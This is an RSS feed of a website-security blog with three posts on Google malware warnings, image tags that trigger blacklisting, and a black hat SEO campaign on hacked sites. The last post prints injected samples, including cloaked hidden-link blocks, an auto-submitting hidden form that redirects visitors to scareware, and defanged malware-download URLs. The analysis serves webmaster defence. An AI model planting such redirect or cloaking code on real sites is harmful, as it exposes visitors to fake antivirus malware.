<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Unmask Parasites. Blog. &#187; Tips and Tricks</title>
	<atom:link href="http://blog.unmaskparasites.com/category/tips-and-tricks/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.unmaskparasites.com</link>
	<description>Website insecurity by example</description>
	<lastBuildDate>Thu, 26 Jan 2012 10:56:06 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Matt Cutts on Malware</title>
		<link>http://blog.unmaskparasites.com/2012/01/11/matt-cutts-on-malware/</link>
		<comments>http://blog.unmaskparasites.com/2012/01/11/matt-cutts-on-malware/#comments</comments>
		<pubDate>Wed, 11 Jan 2012 11:32:00 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Unmask Parasites]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[Matt Cutts]]></category>
		<category><![CDATA[SQL-injection]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=856</guid>
		<description><![CDATA[

Video highlights:

Use Safe Browsing diagnostics &#8212; false positives are very unlikely
http://www.google.com/safebrowsing/diagnostic?site=&#60;your-site-URL-here&#62;


The problem might have been caused by a third-party content (ads, widgets) that you use on your site
But in most cases the problem is in the malicious content/behavior added by hackers.


Malware review via Google Webmaster Tools.

prove ownership
use the  Diagnositics -&#62; Malware section for information on [...]]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="560" height="315" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/7GStGcTeo20?version=3&amp;hl=en_US" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="560" height="315" src="http://www.youtube.com/v/7GStGcTeo20?version=3&amp;hl=en_US" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><span id="more-856"></span><br />
Video highlights:</p>
<ol>
<li>Use Safe Browsing diagnostics &#8212; false positives are very unlikely<br />
<em><span style="color: #000080;">http://www.google.com/safebrowsing/diagnostic?site=<span style="color: #ff6600;">&lt;your-site-URL-here&gt;<br />
</span></span></em></p>
<ul>
<li>The problem might have been caused by a third-party content (ads, widgets) that you use on your site</li>
<li>But in most cases the problem is in the malicious content/behavior added by hackers.</li>
</ul>
</li>
<li>Malware review via <a href="http://www.google.com/webmasters/tools/">Google Webmaster Tools</a>.
<ul>
<li>prove ownership</li>
<li>use the  <strong>Diagnositics -&gt; Malware</strong> section for information on malware issues (e.g. examples of URL were malware was found, and samples of the found malicious content)</li>
<li>Once you fix the problem, click on the &#8220;<strong>request a review</strong>&#8221; link &#8212; your site will be reviewed during the next few hours.</li>
</ul>
</li>
<li><a href="http://support.google.com/webmasters/bin/answer.py?hl=en&amp;answer=158587">Fetch as Googlebot</a>. &#8211; useful tool to diagnose security problems when hackers hide malicious content from normal human visitors and only show it for search engine spiders (<a href="http://blog.unmaskparasites.com/tag/cloaking/">cloaking</a>) &#8212; this is quite a prevalent type of website hacks (part of massive Black Hat SEO campaigns).</li>
<li><strong>.htaccess</strong> &#8212; is a <a href="http://blog.unmaskparasites.com/tag/htaccess/">popular target</a> of website hacks. For example, hackers can add conditional rules to redirect all search engine traffic to a third-party website.</li>
<li>SQL-injections &#8212; another trick where hackers can exploit bugs in web applications that fail to properly sanitize user input &#8212; as a result, malicious content can be injected into site&#8217;s database.</li>
<li>Finding malware may be tricky.
<ul>
<li>Don&#8217;t only check the source code of your web pages. Check what browsers receive from your web server (both the page code and the HTTP headers).</li>
<li>You might want to play with different scenarios. <strong>Warning</strong>: <em>please use specialized tools and do it only in a controlled sandboxed environment, otherwise malware may infect your computer.</em>
<ul>
<li>direct visit</li>
<li>visit from a search engine</li>
<li>visit with clean cookies (first time visit)</li>
<li>visit using different browsers (IE, Firefox, Chrome)</li>
<li>visit from from different IPs and countries</li>
</ul>
</li>
</ul>
</li>
<li>Keep your system up to date.</li>
<li>Change passwords.</li>
<li><a href="http://www.UnmaskParasites.com/">Unmask Parasites</a> :) -  Matt called <a href="http://blog.unmaskparasites.com/">this site</a> a <em>&#8220;really useful place to talk about all the different attacks that are currently going on&#8221;</em>.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/01/11/matt-cutts-on-malware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why Does Google Consider Some Images Malicious?</title>
		<link>http://blog.unmaskparasites.com/2011/11/18/why-does-google-consider-some-images-malicious/</link>
		<comments>http://blog.unmaskparasites.com/2011/11/18/why-does-google-consider-some-images-malicious/#comments</comments>
		<pubDate>Fri, 18 Nov 2011 13:15:10 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[cross-site warning]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[img]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[safe browsing]]></category>
		<category><![CDATA[Webmaster Tools]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=852</guid>
		<description><![CDATA[The other day I received an email from a webmaster whose site was blacklisted by Google. In Webmaster Tools, he found the following example of a malicious code detected on his site (domain changed):
&#60;img src="http://example .net/images/logos/rssicon.png" /&#62;
So why did Google think this image tag was malicious? Can images be malicious? After all they are not [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I received an email from a webmaster whose site was blacklisted by Google. In Webmaster Tools, he found the following example of a malicious code detected on his site (domain changed):</p>
<p><code>&lt;<strong>img</strong> src="http://example .net/images/logos/rssicon.png" /&gt;</code></p>
<p>So why did Google think this image tag was malicious? Can images be malicious? After all they are not scripts, iframes or embedded executable objects that that hackers use to attack web surfers.<br />
<span id="more-852"></span><br />
It turns out, images can really make Google blacklist your site.  In that particular case, the image was from a third party site and it was (as its name suggests) just an RSS icon. A normal legitimate file. The only problem was the third party site got hacked and attackers modified its <em>.htaccess</em> file to redirect search traffic to malicious sites (<a href="http://blog.unmaskparasites.com/2010/10/14/htaccess-redirect-to-example-rudirindex-php-2/">like here</a>). Subsequently, that &#8220;example. net&#8221; got flagged by Google.</p>
<h3 id="cross_site">Cross-site warnings</h3>
<p>Sometimes it&#8217;s enough for your site just to load something from a blacklisted site to get a warning. For example, Google Chrome has so called &#8220;<a href="http://oliverfisher.blogspot.com/2009/01/cross-site-warnings.html">cross-site warnings</a>&#8220;.  When you open a website that is not currently blacklisted, Chrome can detect (in real time) that a page loads something (usually scripts or iframes) from a known blacklisted  site. In this case you will see the infamous red malware warning. The only difference from a normal warning will be the words that &#8220;<em>website at <strong>&lt;your website&gt;</strong> contains <strong>elements</strong> from the site <strong>&lt;third party site&gt;</strong>, which appears to host malware&#8230;</em>&#8220;.</p>
<p>These cross-site warning only (reliably) work in Google Chrome. And since websites that contain elements from malicious site are not blacklisted at the moment, there will be no malware warnings in Webmaster Tools (until Google discovers malware on your site).  So the webmaster couldn&#8217;t find that code in Webmaster Tools if that was just a cross-site warning.</p>
<h3 id="broken">Broken links can be dangerous too</h3>
<p>Let&#8217;s get back to that hacked site. It&#8217;s .<em>htaccess</em> file also contained rules to redirect all erroneous requests (e.g. requests with error codes <strong>404</strong> Not Found, <strong>400</strong> Bad Request, <strong>401</strong> Unauthorized, <strong>403</strong> Forbidden and <strong>500</strong> Internal Server Error ) to malicious sites. In our case, that <em>rssicon.png</em> file was missing for some reason, thus requests to this file returned the 404 error code and got redirected to a bad site.</p>
<p>So every time when someone loads a page with that img tag, behind the scenes, one browser request goes to a malicious site. This is probably what Google malware scanners detected and this was the reason for flagging that website with the <em>rssicon.png</em> img tag.</p>
<h3 id="widgets">Images in third party widgets</h3>
<p>Another real world example is the current problem with Blogger blogs that use some fishy &#8220;<em>page views counter widget</em>&#8221; from <span style="color: #993300;"><strong>bloggerwidgets .cz .cc</strong></span>.  Google says, this site <a href="http://www.google.com/safebrowsing/diagnostic?site=bloggerwidgets.cz.cc" target="_blank">has infected 169 blogs</a>.</p>
<p>All infected site has the following &#8220;counter widget&#8221; code<br />
<code>&lt;img src="http://forums .bit-tech .net/images-light/misc/stats.gif" alt="" width="16" height="16" /&gt;<br />
&lt;img src="hxxp://<strong>demo .bloggerwidgets .cz .cc</strong>/counter2.php?page=xxxxxxxxxxxxxxxxxxx&amp;amp;digit=4" alt="counter" /&gt;</code></p>
<p>As you can see, this code loads an image from <span style="color: #993300;">demo .bloggerwidgets .cz .cc</span>. I guess it is supposed to display views count. However, the &#8220;bloggerwidgets .cz .cc&#8221; domain seems to be discontinued and now redirects all requests to a scam site.</p>
<h3 id="malicious">Are those images malicious?</h3>
<p>Can those images from hacked/redirecting sites be really dangerous for visitors to a site that embeds the images via an &lt;img&gt; tag? Well, I think such tags are &#8220;mostly harmless&#8221; ;) Modern browsers seem to correctly handle such redirections and simply don&#8217;t process server responses in unsupported formats (the malicious redirect returns some HTML code where an image is expected). But who knows, maybe some older browsers under certain conditions may misinterpret the scope of the redirection and navigate a browser to a bad site (after all this is what browser exploits are all about &#8212; they allow to do undocumented stuff).</p>
<h3 id="webmasters">To webmasters</h3>
<p>Anyway, whats&#8217; more important for webmasters  is that image tags can really be the source of malware warnings.</p>
<p>So here are some basic tips on how to deal with such situations:</p>
<p>1. Where possible, don&#8217;t use images and other resources (e.g. scripts, objects, etc) from third-party sites. You might want to copy the files to your own server (if their license permits this).</p>
<p>2. If you have to embed resources from third party sites (counters, widgets, ads), check how trustworthy and reputable they are (e.g. compare Facebook widget and the &#8220;<em><span style="color: #993300;">bloggerwidgets .cz .cc</span></em>&#8221; widget).</p>
<p>3. If Google blacklists your site and mentions some <em>&lt;img&gt;</em> tag as the source of the problem, you should remove that tag (or replace the image with some placeholder with similar dimensions to preserve page formatting) from all pages and then <a href="http://www.unmaskparasites.com/malware-warning-guide/#request">request a malware review via Google Webmaster Tools</a>.</p>
<p>4. In case you don&#8217;t see any samples of malicious code in Webmaster Tools (for example, if you haven&#8217;t registered your site with Webmaster Tools yet) you might want to check Google&#8217;s Safe Browsing diagnostic page for your site:</p>
<p><span style="color: #000080;">http://www.google.com/safebrowsing/diagnostic?site=<span style="color: #999999;"><em>example.com</em></span></span></p>
<p>Just replace &#8220;<em>example.com</em>&#8221; with your site domain.</p>
<p>On the diagnostic page, check domains mentioned in the &#8220;<em>What happened when Google visited this site?</em>&#8221; section. If your site links to some images on those domains you need to remove them before requesting a malware review.</p>
<p>5. If you really want to use those images on your site, you should contact the owners of the sites they reside on and ask to clean them up and have Google unblock them. Once those third party websites are clean you can link to their images again.</p>
<p>Note, the above instructions only apply to situations when Google blacklists your site because of <strong>the &lt;img&gt; tags that you added to your site yourself</strong>. If you find some image tags or other HTML code that don&#8217;t belong to your site and you never added them yourself, this will be a whole different story that requires different remediation steps (for example, the most important step will be to figure out how that alien code was injected into your web pages.)</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://www.unmaskparasites.com/malware-warning-guide/">Practical Guide to Dealing With Google’s Malware Warnings</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/10/14/htaccess-redirect-to-example-rudirindex-php-2/">Htaccess Redirect to Example.ru/dir/index.php</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/04/28/readable-safebrowsing-add-on-for-firefox-4/">Readable SafeBrowsing Add-on for Firefox 4+</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/11/18/why-does-google-consider-some-images-malicious/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Following the Black Hat SEO Traces</title>
		<link>http://blog.unmaskparasites.com/2011/08/14/following-the-black-hat-seo-traces/</link>
		<comments>http://blog.unmaskparasites.com/2011/08/14/following-the-black-hat-seo-traces/#comments</comments>
		<pubDate>Sun, 14 Aug 2011 13:17:11 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[backlinks]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[hidden links]]></category>
		<category><![CDATA[Image Search]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[MajesticSEO]]></category>
		<category><![CDATA[rankexplorer]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[scareware]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Yahoo Site Explorer]]></category>
		<category><![CDATA[Zen Cart]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=837</guid>
		<description><![CDATA[This is a follow up to my last week&#8217;s post about hacked WordPress blogs and poisoned Google Images search results. Cyber-criminals infiltrated 4,000+ self-hosted WP blogs and created doorway pages that would redirect visitors coming from Google Images search to scareware sites. A few days ago I posted a short update to let you know [...]]]></description>
			<content:encoded><![CDATA[<p>This is a follow up to my last week&#8217;s post about <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">hacked WordPress blogs and poisoned Google Images search results</a>. Cyber-criminals infiltrated 4,000+ self-hosted WP blogs and created doorway pages that would redirect visitors coming from Google Images search to scareware sites. A few days ago I posted a <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/#update2">short update</a> to let you know that Google has removed the doorway pages from its index. I also promised to share some new interesting details about that black hat SEO campaign. So here we go!<br />
<span id="more-837"></span></p>
<h3 id="cloaked">Cloaked links</h3>
<p>To have Google discover and index rogue doorway pages, the attackers needed to place links on web pages that Google already knows about and regularly crawls.  One of the popular approaches is to <a href="http://blog.unmaskparasites.com/2011/06/29/google-image-poisoning-whats-new-in-june/#links">create free websites  and post links there</a> (there are many services that allow to do it). However, in this particular case I couldn&#8217;t find such external links.</p>
<p>Then I checked cached versions of legitimate web pages on the hacked sites and found the following code right before the closing &lt;/body&gt; tag.</p>
<p><code>&lt;style&gt;#<strong>alkg</strong> {position:absolute;overflow:auto;<strong>height</strong>:<strong>0</strong>;<strong>width</strong>:<strong>0</strong>;}&lt;/style&gt;&lt;font id="<strong>alkg</strong>"&gt;&lt;a href="http://example.com/?ccc=niger-culture-picture"&gt;niger culture picture&lt;/a&gt;&lt;br /&gt;...&lt;a href="http://example.com/?ccc=eric-ogbogu-picture"&gt;eric ogbogu picture&lt;/a&gt;&lt;br /&gt;&lt;a href="http://rankexplorer.com"&gt;Poker Software&lt;/a&gt;&lt;/font&gt;</code></p>
<p>The code cannot be found if you open the same web page in a browser. This means that hackers used cloaking to feed these links to search engine spiders only.</p>
<p>This code defines an <em>invisible</em> style (height:0; width:0) and then lists dozens to hundreds of links to doorway pages on that site inside the &lt;font&gt; block that has that invisible style. The name of that style is a random combination of four letters and it changes from site to site.</p>
<p>This trick prevents webmasters form seeing the spammy links when they check cached web pages (of course, unless they scrutinize the HTML code) and at the same time provides links that don&#8217;t look like invisible to Googlebot (I guess Google is well aware of such tricks though ;-) ).</p>
<p>The placement of this spammy code makes me think that hackers injected it into the <em>footer.php</em> file of the blogs&#8217; themes. Most likely the actual code is encrypted (e.g. with the <strong>base64_decode</strong> or some other obfuscation trick) so check the code right before the &lt;/body&gt; tag.</p>
<h3 id="anomaly">SEO Anomaly</h3>
<p>I noticed one interesting thing. Every link block on every hacked site has a link to <span style="color: #993300;"><em>rankexplorer .com</em></span>. The anchor text is always the same: <em>Poker Software</em>.</p>
<p>The domain was registered on <em>February 21st, 2011</em> and already has PageRank <strong>5</strong>. That was very suspicious. Only very popular sites can get PR5 in such a short time. So I decided to check who linked to the <em>rankexplorer</em> site and how seriously those links on the hacked sites contribute to this rapid progress.</p>
<h3 id="yse">Yahoo Site Explorer</h3>
<p>First, I checked external backlinks using <a href="http://siteexplorer.search.yahoo.com/search?p=rankexplorer.com&amp;bwm=i&amp;bwmo=d&amp;bwmf=s" target="_blank">Yahoo Site Explorer</a>:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/yahoo-site-explorer.gif" border="0" alt="Yahoo Site Explorer" /></div>
<p>The report says there are <strong>1,858,186</strong> external links to <strong>7</strong> pages on this site. Impressive!</p>
<p>It was clear that sites at the top of the list were hacked. But it was not clear how many of those <strong>1,800,000+</strong> links are from hacked sites and if there are many (or rather any) legitimate links. Moreover, YSE doesn&#8217;t distinguish &#8220;doFollow&#8221; and &#8220;noFollow&#8221; links so it&#8217;s hard to use this report to tell which links actually contribute to the high PageRank. (For example, there can be many &#8220;noFollow&#8221; links from spammy blog comments and forum posts).</p>
<h3 id="majesticseo">MajesticSEO Site Explorer</h3>
<p>So the next step was a more thorough investigation using <a href="https://www.majesticseo.com/">MajesticSEO Site Explorer</a>. MajesticSEO maintains quite a fresh index (updated 2-3 times a day) and its size is comparable to that of Yahoo (they <a href="http://blog.majesticseo.com/general/yahoo-site-explorer-is-dead-long-live-majestic-site-explorer/" target="_blank">claim</a> that only Google has a larger index). What&#8217;s more important, they provide various backlink reports that allow to easily spot interesting patterns and anomalies.</p>
<p>Lets begin with the <a href="https://www.majesticseo.com/reports/site-explorer/summary/rankexplorer.com?IndexDataSource=F" target="_blank">Domain Information report</a>:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/domain-information.gif" border="0" alt="Domain Information" /></div>
<p>Well, the number of external links here is significantly smaller than in Yahoo Site Explorer. But we should not forget that this is a &#8220;<em>fresh index</em>&#8221; and we deal with hacked sites that get cleaned up once their webmasters notice the hack.</p>
<p>The useful information here is:</p>
<ul>
<li>very few link are &#8220;NoFollow&#8221; &#8211; <strong>0.3</strong>% (so the comment and forum spam is not the case)</li>
<li>quite a few deleted links &#8211; (webmasters remove spammy links from hacked sites)</li>
<li>domains/links ratio suggests that multiple pages of the same site link to <span style="color: #993300;"><em>rankexplorer</em></span> &#8212; quite typical for spammy links.</li>
<li>most of the linking sites reside on different servers and even on different subnetworks  &#8211; (they are not just from one hacked server).</li>
</ul>
<p>The same report has a &#8220;Referring Domains&#8221; history graph</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/reffering-domains-graph.jpg" border="0" alt="Reffering domains graph" /></div>
<p>You can see a spike on July 20th. This matches the <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/#timestamps">beginning</a> of the black hat SEO campaign.</p>
<p>The &#8220;Top Pages&#8221; report shows that <strong>all</strong> external links point to the home page only. That&#8217;s not typical even for a small site with so many backlinks.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/top-pages.png" border="0" alt="Top Pages" /></div>
<p>The most revealing data can be found in the Top Backlinks report. It provides a list of up to 2,500 referring URLs (Majestic Silver plan) in order of their significance for SEO along with the anchor text (!) of the backlinks.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/top-backlinks.png" border="0" alt="Top Backlinks" /></div>
<p>Main insights:</p>
<ul>
<li>Out of <strong>2,500</strong> backlinks , <strong>2,426</strong> (97%) have the &#8220;<em>poker software</em>&#8221; anchor text &#8211; (This anchor text is used on hacked sites)</li>
<li><strong>60</strong> backlinks (2.4%) have the &#8220;<em>poker statistics</em>&#8221; anchor text. They are hidden links on a few supposedly hacked sites (different attack though). The spammy code look like this:<br />
<span style="color: #993300;">&lt;div style=&#8221;<strong>display:none</strong>&#8220;&gt;&lt;li&gt;&lt;a href=&#8221;hxxp://<strong>rankexplorer .com</strong>&#8220;&gt;Poker Statistics&lt;/a&gt;&lt;/li&gt;&lt;/div&gt;</span></li>
<li>The rest 13 links can be easily neglected.
<ul>
<li>One of them comes from Baidu search results (why does MajesticSEO index Baidu SERPs?!)</li>
<li>Six &#8220;<em>software de poker</em>&#8221; and &#8220;&#8221;<em>poker mjukvara</em>&#8220;&#8221; are from a hacked site that uses some sort of auto-translation that translated all spammy links into Spanish and Swedish ;-)</li>
</ul>
</li>
</ul>
<p>And finally, the &#8220;Referring Domains&#8221; report shows that most of the domains can also be found in my list of WordPress sites affected by <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">this black hat SEO attack</a>.</p>
<p>So the backlink analisys clearly shows that the <span style="color: #993300;"><em>rankexplorer .com</em></span> owes its high PageRank <em><strong>exclusively</strong></em> to black hat techniques.</p>
<h3 id="effects">PageRank vs real SERP positions</h3>
<p>Was it worth the effort for <em><span style="color: #993300;">rankexplorer</span></em>? Not that much. If we search for [<span style="color: #333399;">poker software</span>] or even for [<span style="color: #333399;">"poker software"</span>] on all major search engines, the <span style="color: #993300;"><em>rankexplorer</em></span> is nowhere near the top. The top two Google search results for this query currently link to sites with PageRank <strong>4</strong>, and #3 has PR<strong>3</strong>! As Matt Cutts always says: PageRank is only one of many factors that affect site position in search results.</p>
<p>So were all the spammers&#8217; efforts futile? Not exactly. For some queries (I won&#8217;t call them popular) you can find the <em><span style="color: #993300;">rankexplorer</span></em> on the first page of search results. Currently it is <strong>#4</strong> for the <span style="color: #333399;">["poker statistics analyzer"</span>] query.</p>
<p>Interesting sidenote. Out of all major search enignes, Baidu (#1 search engine in China!) is the most susceptible to the <span style="color: #993300;"><em>rankexplorer</em></span>&#8217;s black hat SEO campaign:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/baidu.gif" border="0" alt="Baidu" /></div>
<h3 id="generation">Previous generation of this campaign</h3>
<p>The MajesticSEO&#8217;s reports helped me find some sites where the injected code and doorway pages were different than in the attack that I <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">described</a> last week. Moreover, some of the sites were not WordPress blogs. After some additional analysis, I figured out it was a previous generation of the same attack. Here are the details:</p>
<h4 id="links">Link blocks</h4>
<p>Checking cached versions (Google cache) of legitimate pages on the compromised sites, I found a familiar cloaked blocks of hidden  link that used the <strong>style/font</strong> trick:</p>
<p><code>&lt;style&gt;#<strong>xhxq</strong> {position:absolute;overflow:auto;<strong>height</strong>:<strong>0</strong>;<strong>width</strong>:<strong>0</strong>;}&lt;/style&gt;&lt;font id="<strong>xhxq</strong>"&gt;&lt;li&gt;&lt;a href="http://example.com/?olg=55680"&gt;80s movie posters&lt;/a&gt;&lt;/li&gt;<br />
<strong>...skipped..</strong><br />
&lt;a href="hxxp://<strong>rankexplorer .com</strong>"&gt;Poker Software&lt;/a&gt;<br />
<strong>...skipped..</strong><br />
&lt;li&gt;&lt;a href="http://www.example.org/?eea=go.php5"&gt;powered by smf best back up software&lt;/a&gt;&lt;/li&gt;&lt;/font&gt;</code></p>
<p>However, instead of linking to doorways on the same site, those blocks linked to doorways on multiple third party sites (usually about 50 unique sites in one block). And the <span style="color: #993300;"><em>rankexplorer</em></span> link was in the middle of the block this time.</p>
<p>This cross-linking scheme helped me identify <strong>700</strong>+ hacked sites. Most of them can be identified as<strong> WordPress</strong> blogs, <strong>Joomla</strong> sites and <strong>Zen Cart</strong> online stores.</p>
<h4 id="patterns">URL patterns</h4>
<p>The most common URL patterns of the doorway pages are:</p>
<p><span style="color: #993300;">example.com/[a-z]{3,4}=&lt;random&gt;.&lt;extension&gt;</span>, where <span style="color: #993300;">&lt;random&gt;</span> is a random combination of characters, digits and hyphens, and <span style="color: #993300;">&lt;extension&gt;</span> is a one of the popular file extensions of web pages (html|htm|shtml|php|php3|php4|php5|phtml|jsp|asp). The extension part can be missing.</p>
<p>Examples:</p>
<ul>
<li>example.co.uk/?mrx=zc-31.html</li>
<li>example.com/?jlq=bi5k5.phtml</li>
<li>example.de/?pce=9mlbqc.htm</li>
<li>example.eu/?tnj=57720.php3</li>
<li>example.cl/?slf=9283-upfy</li>
</ul>
<p>Another popular doorway URL pattern is <span style="color: #993300;">example.org/[a-z]{3}-&lt;keywords&gt;.&lt;extension&gt;</span>, where <span style="color: #993300;">&lt;keywords&gt;</span> are hyphen separated keywords targeted by the doorway page.</p>
<p>Examples:</p>
<ul>
<li>example.com/qlv-wallpapers-cowgirl-stock-photos.asp (note, this page is on a Linux server that has no ASP)</li>
<li>example.net/qxr-trail-of-tears-coloring-pages.php5</li>
<li>example.se/lck-multiplication-chart-1-500.html</li>
</ul>
<p>And the combination of the above two patterns: <span style="color: #993300;">example.net/[a-z]{3,4}=&lt;keywords&gt;.&lt;extension&gt;</span></p>
<ul>
<li>example.org/?jyw=make-your-own-art-online.php4</li>
<li>example.com/?liz=sample-1023-arts-organization.shtml</li>
<li>example.net/?klb=dem-mac-martial-arts.php</li>
<li>example.es/?jys=art-of-8000-bce-500-ce</li>
</ul>
<h4 id="chronology">Chronology of the attack</h4>
<p>Some of the websites have already been cleaned up. On such sites, I can only find the spammy content in 2-3 months&#8217; old cached copies, which proves that this attack was active around May 2011. We can find one more evidence of this in the MajesticSEO report for the notorious <span style="color: #993300;"><em>rankexplorer .com</em></span> site that uses its &#8220;<em>historic</em>&#8221; index.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/historic-index.png" border="0" alt="Historic index" /></div>
<p>This graph shows that MajesticSEO began to index links to <em><span style="color: #993300;">rankexplorer .com</span></em> (and we know they all come from hacked sites) in April. Then the was a peak in May (new indexed domains referencing <em><span style="color: #993300;">rankexplorer</span></em>). Almost <strong>0</strong> new domains in June and then another uptrend in July (which corresponds to the <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">attack against WordPress blogs</a> that I described last week)</p>
<h3 id="malicious">Still malicious</h3>
<p>Although that wave of the black hat SEO campaign has been idle for at least a couple of months now, many of the compromised sites still contain malicious web pages. As in the most recent attack, they only redirect visitors to scareware sites if they come from Google Images search (clicking on web search results won&#8217;t trigger the redirect.)</p>
<h4>Redirects</h4>
<p>For visitors from Google Images, the doorway generate a page with an invisible form and a JavaScript that automatically clicks on the form button, which effectively redirects a browser to a Fake AV site:</p>
<p><code>&lt;html&gt;&lt;head&gt;<br />
&lt;script&gt;<br />
function TDov(){setTi meout('ob()', 1);document.getElementById('go').<strong>click</strong>();}<br />
function F99FAEE4E1A331A7595932B7C18F9F5F6(){try{history.forward();}catch(e){}setTim eout('ob()', 10);}<br />
&lt;/script&gt;<br />
&lt;/head&gt;&lt;body onLoad='TDov()'&gt;<br />
&lt;<strong>form</strong> action='hxxp://<strong>atomiccanyon .com</strong>/BrightonFestival2009/xmlrpc.php?<strong>k</strong>=fredericksburg+tx+historic+district+map&amp;<strong>s</strong>=google&amp;<strong>r</strong>=http%3A%2F%2Fwww.google.com%2Fimgres%3Fimgurl%3<strong>...skipped..</strong>' method='POST' target='_top'&gt;<br />
&lt;button type='submit' id='go' style='<strong>visibility:hidden</strong>'&gt;&lt;/button&gt;&lt;/form&gt;<br />
&lt;/body&gt;&lt;/html&gt;</code></p>
<p>As you can see, the URL structure resembles the structure of <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/#redirects">the first URL in the redirect chain</a> of the ongoing attack.</p>
<p>Some of the sites also use a similar form URL on the <em><span style="color: #993300;"><strong>cricketfunde .com</strong></span></em> domain.</p>
<p>Then, this intermediary URL redirects visitors to actual fake AV sites. Currently, they use multiple <em><span style="color: #993300;"><strong>*.rr.nu</strong></span></em> domains:</p>
<ul>
<li><span style="color: #993300;">hxxp://<strong>www4.powersecurityex .rr .nu</strong>/?hch86z0i65=jNjRnHOtYpxcpdnTtJiY59nPst&#8230;</span></li>
<li><span style="color: #993300;">hxxp://<strong>www3. powergcjsentinel .rr .nu</strong>/?39gnl9=V67Q0qlrqKad1dvLoJ2Z2eLgpqCWoWie&#8230;</span></li>
<li><span style="color: #993300;">hxxp://<strong>www1 .simplecwahscanner .rr .nu</strong>/2dgnv5l5k?4h6xtulyq2=WNKj2%&#8230;.</span></li>
</ul>
<p>They seem to be changing every day. Old domain expire quite quickly. When I last checked, they used the <strong>79 .133 .196 .117</strong> address.</p>
<h4 id="malware">Malware</h4>
<p>The binary download begins from a different (although similar) domain:</p>
<ul>
<li>hxxp://<strong>www2 .thebest-mhcleaner .rr .nu</strong>/<strong>duqr211_323.php</strong>?xw0lonwp=nOGdz%2B&#8230;%3D%3D</li>
<li>hxxp://<strong>www2 .bestsuitehri .rr .nu</strong>/<strong>yvbt211_323.php</strong>?o5aayuuvor=k63E0Lbu&#8230;%3D%3D</li>
</ul>
